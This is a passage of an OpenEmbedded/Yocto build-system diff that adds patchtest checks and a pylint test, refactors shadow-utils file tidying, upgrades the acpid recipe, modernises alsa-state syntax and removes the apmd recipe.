+ re_cve_pattern = pyparsing.Regex("CVE\-\d{4}\-\d+")
+ re_cve_payload_tag = pyparsing.Regex("\+CVE:(\s+CVE\-\d{4}\-\d+)+")
+ upstream_status_regex = pyparsing.AtLineStart("+" + "Upstream-Status")
+
+ @classmethod
+ def setUpClassLocal(cls):
+ cls.newpatches = []
+ # get just those relevant patches: new software patches
+ for patch in cls.patchset:
+ if patch.path.endswith('.patch') and patch.is_added_file:
+ cls.newpatches.append(patch)
+
+ cls.mark = str(parse_signed_off_by.signed_off_by_mark).strip('"')
+
+ # match PatchSignedOffBy.mark with '+' preceding it
+ cls.prog = parse_signed_off_by.patch_signed_off_by
+
+ def setUp(self):
+ if self.unidiff_parse_error:
+ self.skip('Parse error %s' % self.unidiff_parse_error)
+
+ self.valid_status = ', '.join(parse_upstream_status.upstream_status_nonliteral_valid_status)
+ self.standard_format = 'Upstream-Status: <Valid status>'
+
+ # we are just interested in series that introduce CVE patches, thus discard other
+ # possibilities: modification to current CVEs, patch directly introduced into the
+ # recipe, upgrades already including the CVE, etc.
+ new_cves = [p for p in self.patchset if p.path.endswith('.patch') and p.is_added_file]
+ if not new_cves:
+ self.skip('No new CVE patches introduced')
+
+ def test_upstream_status_presence_format(self):
+ if not TestPatch.newpatches:
+ self.skip("There are no new software patches, no reason to test Upstream-Status presence/format")
+
+ for newpatch in TestPatch.newpatches:
+ payload = newpatch.__str__()
+ if not self.upstream_status_regex.search_string(payload):
+ self.fail('Added patch file is missing Upstream-Status: <Valid status> in the commit message',
+ data=[('Standard format', self.standard_format), ('Valid status', self.valid_status)])
+ for line in payload.splitlines():
+ if self.patchmetadata_regex.match(line):
+ continue
+ if self.upstream_status_regex.search_string(line):
+ if parse_upstream_status.inappropriate_status_mark.searchString(line):
+ try:
+ parse_upstream_status.upstream_status_inappropriate_info.parseString(line.lstrip('+'))
+ except pyparsing.ParseException as pe:
+ self.fail('Upstream-Status is Inappropriate, but no reason was provided',
+ data=[('Current', pe.pstr), ('Standard format', 'Upstream-Status: Inappropriate [reason]')])
+ elif parse_upstream_status.submitted_status_mark.searchString(line):
+ try:
+ parse_upstream_status.upstream_status_submitted_info.parseString(line.lstrip('+'))
+ except pyparsing.ParseException as pe:
+ self.fail('Upstream-Status is Submitted, but it is not mentioned where',
+ data=[('Current', pe.pstr), ('Standard format', 'Upstream-Status: Submitted [where]')])
+ else:
+ try:
+ parse_upstream_status.upstream_status.parseString(line.lstrip('+'))
+ except pyparsing.ParseException as pe:
+ self.fail('Upstream-Status is in incorrect format',
+ data=[('Current', pe.pstr), ('Standard format', self.standard_format), ('Valid status', self.valid_status)])
+
+ def test_signed_off_by_presence(self):
+ if not TestPatch.newpatches:
+ self.skip("There are no new software patches, no reason to test %s presence" % PatchSignedOffBy.mark)
+
+ for newpatch in TestPatch.newpatches:
+ payload = newpatch.__str__()
+ for line in payload.splitlines():
+ if self.patchmetadata_regex.match(line):
+ continue
+ if TestPatch.prog.search_string(payload):
+ break
+ else:
+ self.fail('A patch file has been added without a Signed-off-by tag: \'%s\'' % os.path.basename(newpatch.path))
+
+ def test_cve_tag_format(self):
+ for commit in TestPatch.commits:
+ if self.re_cve_pattern.search_string(commit.shortlog) or self.re_cve_pattern.search_string(commit.commit_message):
+ tag_found = False
+ for line in commit.payload.splitlines():
+ if self.re_cve_payload_tag.search_string(line):
+ tag_found = True
+ break
+ if not tag_found:
+ self.fail('Missing or incorrectly formatted CVE tag in patch file. Correct or include the CVE tag in the patch with format: "CVE: CVE-YYYY-XXXX"',
+ commit=commit)
diff --git a/meta/lib/patchtest/tests/test_python_pylint.py b/meta/lib/patchtest/tests/test_python_pylint.py
new file mode 100644
index 0000000000..ef315e591c
--- /dev/null
+++ b/meta/lib/patchtest/tests/test_python_pylint.py
@@ -0,0 +1,65 @@
+# Checks related to the python code done with pylint
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+
+import base
+from io import StringIO
+from data import PatchTestInput
+from pylint.reporters.text import TextReporter
+import pylint.lint as lint
+
+
+class PyLint(base.Base):
+ pythonpatches = []
+ pylint_pretest = {}
+ pylint_test = {}
+ pylint_options = " -E --disable='E0611, E1101, F0401, E0602' --msg-template='L:{line} F:{module} I:{msg}'"
+
+ @classmethod
+ def setUpClassLocal(cls):
+ # get just those patches touching python files
+ cls.pythonpatches = []
+ for patch in cls.patchset:
+ if patch.path.endswith('.py'):
+ if not patch.is_removed_file:
+ cls.pythonpatches.append(patch)
+
+ def setUp(self):
+ if self.unidiff_parse_error:
+ self.skip('Python-unidiff parse error')
+ if not PyLint.pythonpatches:
+ self.skip('No python related patches, skipping test')
+
+ def pretest_pylint(self):
+ for pythonpatch in self.pythonpatches:
+ if pythonpatch.is_modified_file:
+ pylint_output = StringIO()
+ reporter = TextReporter(pylint_output)
+ lint.Run([self.pylint_options, pythonpatch.path], reporter=reporter, exit=False)
+ for line in pylint_output.readlines():
+ if not '*' in line:
+ if line.strip():
+ self.pylint_pretest[line.strip().split(' ',1)[0]] = line.strip().split(' ',1)[1]
+
+ def test_pylint(self):
+ for pythonpatch in self.pythonpatches:
+ # a condition checking whether a file is renamed or not
+ # unidiff doesn't support this yet
+ if pythonpatch.target_file is not pythonpatch.path:
+ path = pythonpatch.target_file[2:]
+ else:
+ path = pythonpatch.path
+ pylint_output = StringIO()
+ reporter = TextReporter(pylint_output)
+ lint.Run([self.pylint_options, pythonpatch.path], reporter=reporter, exit=False)
+ for line in pylint_output.readlines():
+ if not '*' in line:
+ if line.strip():
+ self.pylint_test[line.strip().split(' ',1)[0]] = line.strip().split(' ',1)[1]
+
+ for issue in self.pylint_test:
+ if self.pylint_test[issue] not in self.pylint_pretest.values():
+ self.fail('Errors in your Python code were encountered. Please check your code with a linter and resubmit',
+ data=[('Output', 'Please, fix the listed issues:'), ('', issue + ' ' + self.pylint_test[issue])])
diff --git a/meta/lib/patchtest/utils.py b/meta/lib/patchtest/utils.py
new file mode 100644
index 0000000000..dd0abc22d9
--- /dev/null
+++ b/meta/lib/patchtest/utils.py
@@ -0,0 +1,168 @@
+# ex:ts=4:sw=4:sts=4:et
+# -*- tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*-
+#
+# utils: common methods used by the patchtest framework
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import os
+import subprocess
+import logging
+import re
+import mailbox
+
+class CmdException(Exception):
+ """ Simple exception class where its attributes are the ones passed when instantiated """
+ def __init__(self, cmd):
+ self._cmd = cmd
+ def __getattr__(self, name):
+ value = None
+ if self._cmd.has_key(name):
+ value = self._cmd[name]
+ return value
+
+def exec_cmd(cmd, cwd, ignore_error=False, input=None, strip=True, updateenv={}):
+ """
+ Input:
+
+ cmd: dict containing the following keys:
+
+ cmd : the command itself as an array of strings
+ ignore_error: if False, no exception is raised
+ strip: indicates if strip is done on the output (stdout and stderr)
+ input: input data to the command (stdin)
+ updateenv: environment variables to be appended to the current
+ process environment variables
+
+ NOTE: keys 'ignore_error' and 'input' are optional; if not included,
+ the defaults are the ones specify in the arguments
+ cwd: directory where commands are executed
+ ignore_error: raise CmdException if command fails to execute and
+ this value is False
+ input: input data (stdin) for the command
+
+ Output: dict containing the following keys:
+
+ cmd: the same as input
+ ignore_error: the same as input
+ strip: the same as input
+ input: the same as input
+ stdout: Standard output after command's execution
+ stderr: Standard error after command's execution
+ returncode: Return code after command's execution
+
+ """
+ cmddefaults = {
+ 'cmd':'',
+ 'ignore_error':ignore_error,
+ 'strip':strip,
+ 'input':input,
+ 'updateenv':updateenv,
+ }
+
+ # update input values if necessary
+ cmddefaults.update(cmd)
+
+ _cmd = cmddefaults
+
+ if not _cmd['cmd']:
+ raise CmdException({'cmd':None, 'stderr':'no command given'})
+
+ # update the environment
+ env = os.environ
+ env.update(_cmd['updateenv'])
+
+ _command = [e for e in _cmd['cmd']]
+ p = subprocess.Popen(_command,
+ stdin=subprocess.PIPE,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ universal_newlines=True,
+ cwd=cwd,
+ env=env)
+
+ # execute the command and strip output
+ (_stdout, _stderr) = p.communicate(_cmd['input'])
+ if _cmd['strip']:
+ _stdout, _stderr = map(str.strip, [_stdout, _stderr])
+
+ # generate the result
+ result = _cmd
+ result.update({'cmd':_command,'stdout':_stdout,'stderr':_stderr,'returncode':p.returncode})
+
+ # launch exception if necessary
+ if not _cmd['ignore_error'] and p.returncode:
+ raise CmdException(result)
+
+ return result
+
+def exec_cmds(cmds, cwd):
+ """ Executes commands
+
+ Input:
+ cmds: Array of commands
+ cwd: directory where commands are executed
+
+ Output: Array of output commands
+ """
+ results = []
+ _cmds = cmds
+
+ for cmd in _cmds:
+ result = exec_cmd(cmd, cwd)
+ results.append(result)
+
+ return results
+
+def logger_create(name):
+ logger = logging.getLogger(name)
+ loggerhandler = logging.StreamHandler()
+ loggerhandler.setFormatter(logging.Formatter("%(message)s"))
+ logger.addHandler(loggerhandler)
+ logger.setLevel(logging.INFO)
+ return logger
+
+def get_subject_prefix(path):
+ prefix = ""
+ mbox = mailbox.mbox(path)
+
+ if len(mbox):
+ subject = mbox[0]['subject']
+ if subject:
+ pattern = re.compile(r"(\[.*\])", re.DOTALL)
+ match = pattern.search(subject)
+ if match:
+ prefix = match.group(1)
+
+ return prefix
+
+def valid_branch(branch):
+ """ Check if branch is valid name """
+ lbranch = branch.lower()
+
+ invalid = lbranch.startswith('patch') or \
+ lbranch.startswith('rfc') or \
+ lbranch.startswith('resend') or \
+ re.search(r'^v\d+', lbranch) or \
+ re.search(r'^\d+/\d+', lbranch)
+
+ return not invalid
+
+def get_branch(path):
+ """ Get the branch name from mbox """
+ fullprefix = get_subject_prefix(path)
+ branch, branches, valid_branches = None, [], []
+
+ if fullprefix:
+ prefix = fullprefix.strip('[]')
+ branches = [ b.strip() for b in prefix.split(',')]
+ valid_branches = [b for b in branches if valid_branch(b)]
+
+ if len(valid_branches):
+ branch = valid_branches[0]
+
+ return branch
+
diff --git a/meta/lib/rootfspostcommands.py b/meta/lib/rootfspostcommands.py
index fdb9f5b850..5386eea409 100644
--- a/meta/lib/rootfspostcommands.py
+++ b/meta/lib/rootfspostcommands.py
@@ -1,16 +1,19 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
import os
-def sort_file(filename, mapping):
+def sort_shadowutils_file(filename, mapping):
"""
Sorts a passwd or group file based on the numeric ID in the third column.
If a mapping is given, the name from the first column is mapped via that
dictionary instead (necessary for /etc/shadow and /etc/gshadow). If not,
a new mapping is created on the fly and returned.
"""
+
new_mapping = {}
with open(filename, 'rb+') as f:
lines = f.readlines()
@@ -31,30 +34,57 @@ def sort_file(filename, mapping):
# We overwrite the entire file, i.e. no truncate() necessary.
f.seek(0)
f.write(b''.join(lines))
+
return new_mapping
-def remove_backup(filename):
+def sort_shadowutils_files(sysconfdir):
"""
- Removes the backup file for files like /etc/passwd.
+ Sorts shadow-utils 'passwd' and 'group' files in a rootfs' /etc directory
+ by ID.
"""
- backup_filename = filename + '-'
- if os.path.exists(backup_filename):
- os.unlink(backup_filename)
-def sort_passwd(sysconfdir):
- """
- Sorts passwd and group files in a rootfs /etc directory by ID.
- Backup files are sometimes are inconsistent and then cannot be
- sorted (YOCTO #11043), and more importantly, are not needed in
- the initial rootfs, so they get deleted.
- """
for main, shadow in (('passwd', 'shadow'),
('group', 'gshadow')):
filename = os.path.join(sysconfdir, main)
- remove_backup(filename)
if os.path.exists(filename):
- mapping = sort_file(filename, None)
+ mapping = sort_shadowutils_file(filename, None)
filename = os.path.join(sysconfdir, shadow)
- remove_backup(filename)
if os.path.exists(filename):
- sort_file(filename, mapping)
+ sort_shadowutils_file(filename, mapping)
+
+def remove_shadowutils_backup_file(filename):
+ """
+ Remove shadow-utils backup file for files like /etc/passwd.
+ """
+
+ backup_filename = filename + '-'
+ if os.path.exists(backup_filename):
+ os.unlink(backup_filename)
+
+def remove_shadowutils_backup_files(sysconfdir):
+ """
+ Remove shadow-utils backup files in a rootfs /etc directory. They are not
+ needed in the initial root filesystem and sorting them can be inconsistent
+ (YOCTO #11043).
+ """
+
+ for filename in (
+ 'group',
+ 'gshadow',
+ 'passwd',
+ 'shadow',
+ 'subgid',
+ 'subuid',
+ ):
+ filepath = os.path.join(sysconfdir, filename)
+ remove_shadowutils_backup_file(filepath)
+
+def tidy_shadowutils_files(sysconfdir):
+ """
+ Tidy up shadow-utils files.
+ """
+
+ remove_shadowutils_backup_files(sysconfdir)
+ sort_shadowutils_files(sysconfdir)
+
+ return True
diff --git a/meta/recipes-bsp/acpid/acpid.inc b/meta/recipes-bsp/acpid/acpid.inc
index 1e43e7a9db..7b2f1c71c5 100644
--- a/meta/recipes-bsp/acpid/acpid.inc
+++ b/meta/recipes-bsp/acpid/acpid.inc
@@ -8,12 +8,13 @@ admin."
HOMEPAGE = "http://sourceforge.net/projects/acpid2"
BUGTRACKER = "http://sourceforge.net/p/acpid2/tickets/?source=navbar"
SECTION = "base"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
SRC_URI = "${SOURCEFORGE_MIRROR}/acpid2/acpid-${PV}.tar.xz \
file://init \
file://acpid.service \
- "
+ file://0001-Replace-stat64-with-stat.patch \
+ "
CVE_PRODUCT = "acpid2"
@@ -22,9 +23,9 @@ inherit autotools update-rc.d systemd
INITSCRIPT_NAME = "acpid"
INITSCRIPT_PARAMS = "defaults"
-SYSTEMD_SERVICE_${PN} = "acpid.service"
+SYSTEMD_SERVICE:${PN} = "acpid.service"
-do_install_append () {
+do_install:append () {
install -d ${D}${sysconfdir}/init.d
sed -e 's,/usr/sbin,${sbindir},g' ${WORKDIR}/init > ${D}${sysconfdir}/init.d/acpid
chmod 755 ${D}${sysconfdir}/init.d/acpid
@@ -32,7 +33,7 @@ do_install_append () {
install -d ${D}${sysconfdir}/acpi
install -d ${D}${sysconfdir}/acpi/events
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/acpid.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_unitdir}/system/acpid.service
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/acpid.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_system_unitdir}/acpid.service
}
diff --git a/meta/recipes-bsp/acpid/acpid/0001-Replace-stat64-with-stat.patch b/meta/recipes-bsp/acpid/acpid/0001-Replace-stat64-with-stat.patch
new file mode 100644
index 0000000000..10abfc8388
--- /dev/null
+++ b/meta/recipes-bsp/acpid/acpid/0001-Replace-stat64-with-stat.patch
@@ -0,0 +1,31 @@
+From 4b729235a9e96f120feee7e3746818aad0f3b924 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 14 Dec 2022 15:04:30 -0800
+Subject: [PATCH] Replace stat64 with stat
+
+It already checks for largefile support in configure.ac via
+AC_SYS_LARGEFILE macro, which will ensure that 64bit elements
+are correctly setup for stat APIs on platforms needing large
+file support.
+
+Upstream-Status: Submitted [https://sourceforge.net/p/acpid2/code/merge-requests/5/]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ sock.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/sock.c b/sock.c
+index 9e04501..3121fb7 100644
+--- a/sock.c
++++ b/sock.c
+@@ -54,8 +54,8 @@ int non_root_clients;
+ static int
+ isfdtype(int fd, int fdtype)
+ {
+- struct stat64 st;
+- if (fstat64(fd, &st) != 0)
++ struct stat st;
++ if (fstat(fd, &st) != 0)
+ return -1;
+ return ((st.st_mode & S_IFMT) == (mode_t)fdtype);
+ }
diff --git a/meta/recipes-bsp/acpid/acpid_2.0.32.bb b/meta/recipes-bsp/acpid/acpid_2.0.32.bb
deleted file mode 100644
index 227e4a4675..0000000000
--- a/meta/recipes-bsp/acpid/acpid_2.0.32.bb
+++ /dev/null
@@ -1,7 +0,0 @@
-require acpid.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=8ca43cbc842c2336e835926c2166c28b \
- file://acpid.h;endline=24;md5=324a9cf225ae69ddaad1bf9d942115b5"
-
-SRC_URI[md5sum] = "248995264b9d1cd8bdb923d5b190fd44"
-SRC_URI[sha256sum] = "f2d2d30b3edc3234bd82f6f7186699a6aa3c85c8d20bc4e30e9b3c68a1ed157e"
diff --git a/meta/recipes-bsp/acpid/acpid_2.0.34.bb b/meta/recipes-bsp/acpid/acpid_2.0.34.bb
new file mode 100644
index 0000000000..1e0a6d5f24
--- /dev/null
+++ b/meta/recipes-bsp/acpid/acpid_2.0.34.bb
@@ -0,0 +1,6 @@
+require acpid.inc
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=8ca43cbc842c2336e835926c2166c28b \
+ file://acpid.h;endline=24;md5=324a9cf225ae69ddaad1bf9d942115b5"
+
+SRC_URI[sha256sum] = "2d095c8cfcbc847caec746d62cdc8d0bff1ec1bc72ef7c674c721e04da6ab333"
diff --git a/meta/recipes-bsp/alsa-state/alsa-state.bb b/meta/recipes-bsp/alsa-state/alsa-state.bb
index cec2272c80..bd7f610f46 100644
--- a/meta/recipes-bsp/alsa-state/alsa-state.bb
+++ b/meta/recipes-bsp/alsa-state/alsa-state.bb
@@ -8,10 +8,12 @@ SUMMARY = "Alsa scenario files to enable alsa state restoration"
HOMEPAGE = "http://www.alsa-project.org/"
DESCRIPTION = "Alsa Scenario Files - an init script and state files to restore \
sound state at system boot and save it at system shut down."
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
+LICENSE = "MIT & GPL-2.0-or-later"
+LIC_FILES_CHKSUM = " \
+ file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420 \
+ file://alsa-state-init;beginline=3;endline=4;md5=3ff7ecbf534d7d503941abe8e268ef50 \
+"
PV = "0.2.0"
-PR = "r5"
SRC_URI = "\
file://asound.conf \
@@ -49,15 +51,15 @@ do_install() {
PACKAGES += "alsa-states"
-RRECOMMENDS_alsa-state = "alsa-states"
+RRECOMMENDS:alsa-state = "alsa-states"
-RDEPENDS_${PN} = "alsa-utils-alsactl"
-FILES_${PN} = "${sysconfdir}/init.d ${sysconfdir}/asound.conf"
-CONFFILES_${PN} = "${sysconfdir}/asound.conf"
+RDEPENDS:${PN} = "alsa-utils-alsactl"
+FILES:${PN} = "${sysconfdir}/init.d ${sysconfdir}/asound.conf"
+CONFFILES:${PN} = "${sysconfdir}/asound.conf"
-FILES_alsa-states = "${localstatedir}/lib/alsa/*.state"
+FILES:alsa-states = "${localstatedir}/lib/alsa/*.state"
-pkg_postinst_${PN}() {
+pkg_postinst:${PN}() {
if test -z "$D"
then
if test -x ${sbindir}/alsactl
diff --git a/meta/recipes-bsp/alsa-state/alsa-state/alsa-state-init b/meta/recipes-bsp/alsa-state/alsa-state/alsa-state-init
index eee59cb321..a04cc27004 100755
--- a/meta/recipes-bsp/alsa-state/alsa-state/alsa-state-init
+++ b/meta/recipes-bsp/alsa-state/alsa-state/alsa-state-init
@@ -1,10 +1,9 @@
#! /bin/sh
#
# Copyright Matthias Hentges <devel@hentges.net> (c) 2007
-# License: GPL (see http://www.gnu.org/licenses/gpl.txt for a copy of the license)
+# SPDX-License-Identifier: GPL-2.0-or-later
#
# Filename: alsa-state
-# Date: 20070308 (YMD)
# source function library
. /etc/init.d/functions
diff --git a/meta/recipes-bsp/apmd/apmd/apmd.service b/meta/recipes-bsp/apmd/apmd/apmd.service
deleted file mode 100644
index ffab82334f..0000000000
--- a/meta/recipes-bsp/apmd/apmd/apmd.service
+++ /dev/null
@@ -1,7 +0,0 @@
-[Unit]
-Description=Advanced Power Management daemon
-After=remote-fs.target
-
-[Service]
-EnvironmentFile=-@SYSCONFDIR@/default/apmd
-ExecStart=@SBINDIR@/apmd -P @SYSCONFDIR@/apm/apmd_proxy $APMD
diff --git a/meta/recipes-bsp/apmd/apmd/apmd_proxy b/meta/recipes-bsp/apmd/apmd/apmd_proxy
deleted file mode 100644
index c48ee4e5d5..0000000000
--- a/meta/recipes-bsp/apmd/apmd/apmd_proxy
+++ /dev/null
@@ -1,91 +0,0 @@
-#!/bin/sh
-#
-# apmd_proxy - program dispatcher for APM daemon
-#
-# Written by Craig Markwardt (craigm@lheamail.gsfc.nasa.gov) 21 May 1999
-# Modified for Debian by Avery Pennarun
-#
-# This shell script is called by the APM daemon (apmd) when a power
-# management event occurs. Its first and second arguments describe the
-# event. For example, apmd will call "apmd_proxy suspend system" just
-# before the system is suspended.
-#
-# Here are the possible arguments:
-#
-# start - APM daemon has started
-# stop - APM daemon is shutting down
-# suspend critical - APM system indicates critical suspend (++)
-# suspend system - APM system has requested suspend mode
-# suspend user - User has requested suspend mode
-# standby system - APM system has requested standby mode
-# standby user - User has requested standby mode
-# resume suspend - System has resumed from suspend mode
-# resume standby - System has resumed from standby mode
-# resume critical - System has resumed from critical suspend
-# change battery - APM system reported low battery
-# change power - APM system reported AC/battery change
-# change time - APM system reported time change (*)
-# change capability - APM system reported config. change (+)
-#
-# (*) - APM daemon may be configured to not call these sequences
-# (+) - Available if APM kernel supports it.
-# (++) - "suspend critical" is never passed to apmd from the kernel,
-# so we will never see it here. Scripts that process "resume
-# critical" events need to take this into account.
-#
-# It is the proxy script's responsibility to examine the APM status
-# (via /proc/apm) or other status and to take appropriate actions.
-# For example, the script might unmount network drives before the
-# machine is suspended.
-#
-# In Debian, the usual way of adding functionality to the proxy is to
-# add a script to /etc/apm/event.d. This script will be called by
-# apmd_proxy (via run-parts) with the same arguments.
-#
-# If it is important that a certain set of script be run in a certain
-# order on suspend and in a different order on resume, then put all
-# the scripts in /etc/apm/scripts.d instead of /etc/apm/event.d and
-# symlink to these from /etc/apm/suspend.d, /etc/apm/resume.d and
-# /etc/apm/other.d using names whose lexicographical order is the same
-# as the desired order of execution.
-#
-# If the kernel's APM driver supports it, apmd_proxy can return a non-zero
-# exit status on suspend and standby events, indicating that the suspend
-# or standby event should be rejected.
-#
-# *******************************************************************
-
-set -e
-
-# The following doesn't yet work, because current kernels (up to at least
-# 2.4.20) do not support rejection of APM events. Supporting this would
-# require substantial modifications to the APM driver. We will re-enable
-# this feature if the driver is ever modified. -- cph@debian.org
-#
-#SUSPEND_ON_AC=false
-#[ -r /etc/apm/apmd_proxy.conf ] && . /etc/apm/apmd_proxy.conf
-#
-#if [ "${SUSPEND_ON_AC}" = "false" -a "${2}" = "system" ] \
-# && on_ac_power >/dev/null; then
-# # Reject system suspends and standbys if we are on AC power
-# exit 1 # Reject (NOTE kernel support must be enabled)
-#fi
-
-if [ "${1}" = "suspend" -o "${1}" = "standby" ]; then
- run-parts -a "${1}" -a "${2}" /etc/apm/event.d
- if [ -d /etc/apm/suspend.d ]; then
- run-parts -a "${1}" -a "${2}" /etc/apm/suspend.d
- fi
-elif [ "${1}" = "resume" ]; then
- if [ -d /etc/apm/resume.d ]; then
- run-parts -a "${1}" -a "${2}" /etc/apm/resume.d
- fi
- run-parts -a "${1}" -a "${2}" /etc/apm/event.d
-else
- run-parts -a "${1}" -a "${2}" /etc/apm/event.d
- if [ -d /etc/apm/other.d ]; then
- run-parts -a "${1}" -a "${2}" /etc/apm/other.d
- fi
-fi
-
-exit 0
diff --git a/meta/recipes-bsp/apmd/apmd/apmd_proxy.conf b/meta/recipes-bsp/apmd/apmd/apmd_proxy.conf
deleted file mode 100644
index 751145c522..0000000000
--- a/meta/recipes-bsp/apmd/apmd/apmd_proxy.conf
+++ /dev/null
@@ -1,16 +0,0 @@
-# /etc/apm/apmd_proxy.conf: configuration file for apmd.
-#
-# This file is managed by debconf when installing or reconfiguring the
-# package. It is generated by merging the answers gathered by debconf
-# into the template file "/usr/share/apmd/apmd_proxy.conf".
-
-# The following doesn't yet work, because current kernels (up to at least
-# 2.4.20) do not support rejection of APM events. Supporting this would
-# require substantial modifications to the APM driver. We will re-enable
-# this feature if the driver is ever modified. -- cph@debian.org
-#
-# Set the following to "false" if you want to reject system suspend or
-# system standby requests when the computer is running on AC power.
-# Otherwise set this to "true". Such requests are never rejected when
-# the computer is running on battery power.
-#SUSPEND_ON_AC=true
diff --git a/meta/recipes-bsp/apmd/apmd/default b/meta/recipes-bsp/apmd/apmd/default
deleted file mode 100644
index 4b7965abf8..0000000000
--- a/meta/recipes-bsp/apmd/apmd/default
+++ /dev/null
@@ -1,8 +0,0 @@
-#
-# Default for /etc/init.d/apmd
-#
-
-# As apmd can be called with arguments, we use the following variable
-# to store them, e.g., APMD="-w 5 -p 2".
-# See the manual page apmd(8) for details.
-APMD="--proxy-timeout 30"
diff --git a/meta/recipes-bsp/apmd/apmd/init b/meta/recipes-bsp/apmd/apmd/init
deleted file mode 100755
index c0b41aa9d1..0000000000
--- a/meta/recipes-bsp/apmd/apmd/init
+++ /dev/null
@@ -1,51 +0,0 @@
-#!/bin/sh
-### BEGIN INIT INFO
-# Provides: apmd
-# Required-Start: $remote_fs
-# Required-Stop: $remote_fs
-# Default-Start: 2 3 4 5
-# Default-Stop: 0 1 6
-# Short-Description: Advanced Power Management daemon
-### END INIT INFO
-
-# Source function library.
-. /etc/init.d/functions
-
-PATH=/bin:/usr/bin:/sbin:/usr/sbin
-
-[ -f /etc/default/rcS ] && . /etc/default/rcS
-[ -f /etc/default/apmd ] && . /etc/default/apmd
-
-case "$1" in
- start)
- echo -n "Starting advanced power management daemon: "
- start-stop-daemon -S -x /usr/sbin/apmd -- \
- -P /etc/apm/apmd_proxy $APMD
- if [ $? = 0 ]; then
- echo "apmd."
- else
- echo "(failed.)"
- fi
- ;;
- stop)
- echo -n "Stopping advanced power management daemon: "
- start-stop-daemon -K \
- -x /usr/sbin/apmd
- echo "apmd."
- ;;
- status)
- status /usr/sbin/apmd;
- exit $?
- ;;
- restart|force-reload)
- $0 stop
- $0 start
- exit
- ;;
- *)
- echo "Usage: /etc/init.d/apmd {start|stop|status|restart|force-reload}"
- exit 1
- ;;
-esac
-
-exit 0
diff --git a/meta/recipes-bsp/apmd/apmd/legacy.patch b/meta/recipes-bsp/apmd/apmd/legacy.patch
deleted file mode 100644
index 8871311805..0000000000
--- a/meta/recipes-bsp/apmd/apmd/legacy.patch
+++ /dev/null
@@ -1,133 +0,0 @@
-From 3595933d221f0ba836917debc0776b8723972ec9 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 11 Aug 2015 17:40:50 +0300
-Subject: [PATCH 1/3] Patch with fixes provided by Debian.
-
-This patch is taken from
-ftp://ftp.debian.org/debian/pool/main/a/apmd/apmd_3.2.2-15.debian.tar.xz
-
-Upstream-Status: Inappropriate [upstream is dead]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- Makefile | 2 +-
- apm.c | 3 ++-
- apm.h | 9 +++++++++
- apmd.c | 15 ++++++++-------
- 4 files changed, 20 insertions(+), 9 deletions(-)
-
-diff --git a/Makefile b/Makefile
-index bf346d9..92fc0fd 100644
---- a/Makefile
-+++ b/Makefile
-@@ -43,7 +43,7 @@ DESTDIR=
-
- CC=gcc
- CFLAGS=-O -g
--XTRACFLAGS=-Wall -pipe -I. -I/usr/src/linux/include \
-+XTRACFLAGS=-Wall -pipe -I. -I/usr/src/linux/include -I/usr/X11R6/include \
- -I/usr/src/linux-2.2/include -I /usr/src/linux-2.0/include \
- -DVERSION=\"$(VERSION)\" \
- -DDEFAULT_PROXY_NAME=\"$(PROXY_DIR)/apmd_proxy\"
-diff --git a/apm.c b/apm.c
-index b21c057..0359b1c 100644
---- a/apm.c
-+++ b/apm.c
-@@ -219,12 +219,13 @@ int main(int argc, char **argv)
- }
- }
-
--
-+#if 0
- if (!(i.apm_flags & APM_32_BIT_SUPPORT))
- {
- fprintf(stderr, "32-bit APM interface not supported\n");
- exit(1);
- }
-+#endif
-
- if (verbose && (i.apm_flags & 0x10))
- printf("APM BIOS Power Management is currently disabled\n");
-diff --git a/apm.h b/apm.h
-index fb24dfd..824cc06 100644
---- a/apm.h
-+++ b/apm.h
-@@ -20,6 +20,13 @@
- * $Id: apm.h,v 1.7 1999/07/05 22:31:11 apenwarr Exp $
- *
- */
-+#ifndef _APM_H
-+#define _APM_H 1
-+
-+#ifndef __KERNEL_STRICT_NAMES
-+#define __KERNEL_STRICT_NAMES
-+#endif
-+
- #include <linux/apm_bios.h>
- #include <sys/types.h>
-
-@@ -93,3 +100,5 @@ extern int apm_reject(int fd);
- #else
- #define apm_reject(fd) (-EINVAL)
- #endif
-+
-+#endif
-diff --git a/apmd.c b/apmd.c
-index 49ed3a1..560f536 100644
---- a/apmd.c
-+++ b/apmd.c
-@@ -343,7 +343,7 @@ static int call_proxy(apm_event_t event)
- /* parent */
- int status, retval;
- ssize_t len;
-- time_t time_limit;
-+ time_t countdown;
-
- if (pid < 0) {
- /* Couldn't fork */
-@@ -356,8 +356,9 @@ static int call_proxy(apm_event_t event)
- /* Capture the child's output, if any, but only until it terminates */
- close(fds[1]);
- fcntl(fds[0], F_SETFL, O_RDONLY|O_NONBLOCK);
-- time_limit = time(0) + proxy_timeout;
-+ countdown = proxy_timeout;
- do {
-+ countdown -= 1;
- while ((len = read(fds[0], line, sizeof(line)-1)) > 0) {
- line[len] = 0;
- APMD_SYSLOG(LOG_INFO, "+ %s", line);
-@@ -372,16 +373,16 @@ static int call_proxy(apm_event_t event)
- goto proxy_done;
- }
-
-- sleep(1);
-+ while (sleep(1) > 0) ;
- } while (
